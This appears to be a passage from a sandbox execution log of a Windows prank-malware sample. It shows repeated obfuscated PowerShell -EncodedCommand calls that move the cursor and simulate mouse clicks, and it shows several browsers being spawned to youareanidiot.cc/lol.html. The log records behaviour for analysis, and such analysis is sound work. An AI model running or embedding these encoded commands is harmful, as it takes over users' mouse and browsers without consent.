  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      PID:4672
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6732
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        
        PID:7064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      PID:6740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      PID:6168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      PID:6872
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6544
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffdedb0c728,0x7ffdedb0c734,0x7ffdedb0c740
        5⤵
        
        PID:6528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      PID:6832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6344
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      PID:5308
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6116
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        
        PID:6572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      PID:6464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      PID:7068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      PID:6816
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6824
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x130,0x134,0x138,0x10c,0x13c,0x7ffdedb0c728,0x7ffdedb0c734,0x7ffdedb0c740
        5⤵
        
        PID:6316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgA